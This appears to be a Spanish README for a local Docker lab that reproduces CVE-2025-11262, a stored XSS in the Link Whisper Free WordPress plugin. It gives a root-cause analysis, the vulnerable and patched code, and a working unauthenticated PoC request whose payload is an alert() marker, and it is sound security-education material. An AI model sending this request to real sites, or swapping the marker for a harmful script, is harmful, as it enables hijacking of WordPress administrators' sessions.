
Laboratorio Docker para reproducir CVE-2025-11262, un XSS ciego almacenado sin autenticación en el plugin Link Whisper Free de WordPress. Incluye objetivos vulnerables y parcheados, script PoC y análisis de causa raíz.
Este repositorio contiene un laboratorio Docker local para reproducir CVE-2025-11262, una vulnerabilidad de cross-site scripting almacenada no autenticada que afecta al plugin de WordPress Link Whisper Free.
El laboratorio compara dos versiones del plugin:
| Servicio | Versión del plugin | Propósito | URL |
|---|---|---|---|
vuln | 0.9.0 | Objetivo vulnerable | http://127.0.0.1:8081 |
patched | 0.9.1 | Objetivo parcheado de comparación | http://127.0.0.1:8082 |
La cadena de vulnerabilidad demostrada es:
Petición REST no autenticada
→ se persiste un user_id controlado por el atacante
→ un usuario privilegiado de WordPress abre la página de Suscripción AI de Link Whisper
→ el valor almacenado se renderiza en un contexto JavaScript de administración
→ alert("CVE-2025-11262-LAB") se ejecuta en la versión vulnerable
El atacante no necesita estar autenticado para plantar el payload almacenado. El JavaScript se ejecuta posteriormente cuando un usuario privilegiado de WordPress abre la página de administración afectada.
Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración en portafolio.
Esta es la sección Resumen de la Causa Raíz para reemplazar directamente en el README, es segura para el público, no menciona archivos internos como vuln_detail.txt y se basa en el laboratorio/fuente que estás utilizando ahora.
CVE-2025-11262 es causado por una cadena de inyección de JavaScript almacenada en Link Whisper Free 0.9.0.
El problema no es una única llamada de escape faltante. Es una cadena de múltiples comportamientos inseguros:
Endpoint REST no autenticado
→ validación insuficiente de user_id
→ almacenamiento persistente en wpil_ai_access_user_id
→ renderizado inseguro en un contexto JavaScript de administración
→ XSS almacenado cuando un usuario privilegiado abre la página de Suscripción AI
Link Whisper Free registra un endpoint REST de autenticación AI bajo el espacio de nombres REST del plugin:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
El endpoint se registra como una ruta POST:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Debido a que el callback de permiso es __return_true, el endpoint es accesible sin autenticación.
En el laboratorio, el endpoint efectivo es:
/wp-json/link-whisper/ai-auth
Esto significa que un atacante no autenticado puede enviar una solicitud al endpoint sin sesión de WordPress, nonce ni cuenta de administrador.
En Link Whisper Free 0.9.0, el manejador lee parámetros controlados por el atacante desde la solicitud REST:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
El comportamiento vulnerable es la condición de validación débil:
if(!empty($token) && false !== strpos($token, 'ai-')){
Esto solo verifica si el token de acceso suministrado contiene la cadena ai-.
No hay una validación estricta de user_id antes de almacenarlo:
update_option('wpil_ai_access_user_id', $user_id);
Como resultado, un JavaScript controlado por el atacante puede persistirse en la tabla de opciones de WordPress.
El valor user_id controlado por el atacante se almacena en la opción de WordPress:
wpil_ai_access_user_id
En este laboratorio, el PoC envía el siguiente payload local:
</script><script>alert("CVE-2025-11262-LAB")</script>
En el servicio vulnerable, el payload se almacena como el valor de wpil_ai_access_user_id.
El atacante no necesita estar autenticado para plantar el payload. El payload se planta a través del endpoint REST no autenticado.
El valor almacenado se recupera posteriormente a través de la lógica de configuración del plugin:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
El valor se asigna a $ai_id y se renderiza en la página de administración de Suscripción AI.
En Link Whisper Free 0.9.0, el valor se inserta directamente en una cadena JavaScript:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Debido a que $ai_id no se escapa antes de insertarse en el contexto JavaScript, un payload almacenado puede salir de la cadena prevista y ejecutar JavaScript cuando se abre la página de administración.
Con el payload del laboratorio, la salida renderizada vulnerable se vuelve equivalente a:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
En un navegador, la etiqueta </script> de cierre inyectada termina el bloque de script original, y el bloque <script> inyectado se ejecuta.
El payload es plantado por un atacante no autenticado, pero la ejecución requiere que un usuario privilegiado de WordPress abra la página de administración afectada:
/wp-admin/admin.php?page=link_whisper_ai_subscription
En este laboratorio, la página afectada se abre como administrador de WordPress para activar el diálogo de alerta.
Esto hace que el problema sea un XSS almacenado no autenticado dirigido a administradores de WordPress autenticados o usuarios privilegiados que puedan acceder a la página de administración de Suscripción AI de Link Whisper.
Link Whisper Free 0.9.1 agrega una validación más estricta antes de almacenar los valores de autenticación AI.
El manejador parcheado requiere que el token y el ID de usuario coincidan con formatos estrictos:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
La validación importante agregada para user_id es:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
Esto evita que se almacene JavaScript arbitrario como ID de usuario de AI.
La versión 0.9.1 también escapa el valor antes de renderizarlo en el contexto JavaScript:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
Por lo tanto, el parche mitiga el problema en dos puntos:
Validación de entrada antes de la persistencia
Escapado de salida antes del renderizado JavaScript
El laboratorio confirma la diferencia entre 0.9.0 y 0.9.1.
En Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ devuelve "ok"
→ almacena el payload en wpil_ai_access_user_id
→ abrir la página de administración de Suscripción AI activa alert("CVE-2025-11262-LAB")
En Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ puede seguir devolviendo "ok"
→ no almacena el payload
→ abrir la página de administración de Suscripción AI no activa ninguna alerta
La respuesta HTTP por sí sola no es suficiente para determinar si el objetivo es vulnerable, porque ambas versiones pueden devolver "ok". La diferencia de comportamiento significativa es si el payload se persiste y luego se renderiza en el contexto JavaScript de administración.
El laboratorio ejecuta dos instancias aisladas de WordPress y dos bases de datos MySQL separadas mediante Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
El punto de entrada de Docker automáticamente:
Credenciales predeterminadas del administrador de WordPress para ambos servicios:
admin / AdminPassw0rd!
Construya e inicie el laboratorio:
docker compose down -v
docker compose build --no-cache
docker compose up -d
Verifique los contenedores:
docker compose ps
Servicios expuestos esperados:
Objetivo vulnerable: http://127.0.0.1:8081
Objetivo parcheado: http://127.0.0.1:8082
También puede observar los registros de configuración:
docker compose logs vuln patched
Una configuración exitosa debería mostrar Link Whisper activo en cada instancia de WordPress.
Ejecute el PoC contra el servicio vulnerable:
python3 poc/poc.py --url http://127.0.0.1:8081
El PoC envía este payload local a través del endpoint REST no autenticado:
</script><script>alert("CVE-2025-11262-LAB")</script>
Después de que se ejecute el script, abra la URL de administración impresa en un navegador e inicie sesión con:
admin / AdminPassw0rd!
En el servicio vulnerable, el navegador debería mostrar una alerta que contenga:
CVE-2025-11262-LAB
Para comparar, ejecute el mismo PoC contra el servicio parcheado:
python3 poc/poc.py --url http://127.0.0.1:8082
Luego abra la URL de administración impresa para el servicio parcheado. No debería activarse ninguna alerta.
Objetivo vulnerable:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Objetivo parcheado:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
La respuesta HTTP por sí sola no es suficiente para determinar si el objetivo es vulnerable. La diferencia importante es el comportamiento del navegador después de que el usuario privilegiado abre la página de administración afectada.

Objetivo de captura sugerido:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
La captura debe mostrar la alerta del navegador con:
CVE-2025-11262-LAB
El PoC es intencionalmente pequeño y solo requiere una URL de destino:
python3 poc/poc.py --url http://127.0.0.1:8081
Envía una solicitud POST a:
/wp-json/link-whisper/ai-auth
con los siguientes campos de formulario:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
En el servicio vulnerable, el valor almacenado se renderiza posteriormente en la página de Suscripción AI. Cuando un administrador abre esa página, se ejecuta el JavaScript.
En el servicio parcheado, el mismo payload no debería resultar en una alerta.
Verifique las versiones de los plugins:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Verifique si el servicio vulnerable almacenó el payload:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Valor vulnerable esperado:
</script><script>alert("CVE-2025-11262-LAB")</script>
Verifique el servicio parcheado:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Comportamiento esperado del parche:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Verifique los registros de acceso al endpoint REST:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Actualice Link Whisper Free a 0.9.1 o posterior.
El parche evita que este payload del laboratorio se persista y renderice agregando validación más estricta y un manejo de salida más seguro alrededor del flujo de autenticación AI afectado.
Para entornos de producción, considere también:
Detenga y elimine contenedores, redes y volúmenes:
docker compose down -v
Elimine las imágenes construidas localmente si lo desea:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.
No ejecute el PoC contra sistemas que no posea o para los que no tenga permiso de prueba.
No use credenciales reales, secretos de producción ni callbacks externos en este laboratorio.
El PoC utiliza intencionalmente un marcador alert() visible para evidencia en capturas de pantalla. No incluye payloads para robo de credenciales, robo de sesiones, persistencia más allá del laboratorio ni acciones automatizadas de administrador.
Base de datos de avisos de GitHub: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: entrada de la base de datos de vulnerabilidades de Link Whisper Free
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
Directorio de plugins de WordPress.org: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
Paquete del plugin de WordPress.org utilizado por el laboratorio vulnerable
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
Paquete del plugin de WordPress.org utilizado por el laboratorio parcheado
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
| Afirmación | Evidencia | Cómo verificar en este laboratorio |
|---|
Link Whisper Free 0.9.0 es vulnerable. | Los avisos públicos identifican las versiones de Link Whisper Free hasta 0.9.0 inclusive como afectadas. | Ejecute el PoC contra http://127.0.0.1:8081 y abra la URL de administración impresa. |
Link Whisper Free 0.9.1 contiene la corrección. | Los avisos públicos y los datos del registro de cambios identifican 0.9.1 como la versión parcheada. | Ejecute el mismo PoC contra http://127.0.0.1:8082; no debería aparecer ninguna alerta. |
| La plantación del payload no requiere autenticación. | El PoC envía una solicitud POST sin cookies de WordPress, inicio de sesión ni nonce. | Inspeccione poc/poc.py; solo requiere --url. |
| El impacto visible se desencadena en el área de administración de WordPress. | El valor almacenado se renderiza cuando un usuario privilegiado abre la página de Suscripción AI de Link Whisper. | Después de ejecutar el PoC, inicie sesión como administrador y abra la URL de administración impresa. |
El objetivo parcheado puede seguir devolviendo "ok" en la capa HTTP. | Las pruebas locales mostraron que ambos objetivos pueden devolver "ok"; la diferencia significativa es si el payload se persiste y ejecuta. | Compare el comportamiento del navegador en 8081 y 8082. |
Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php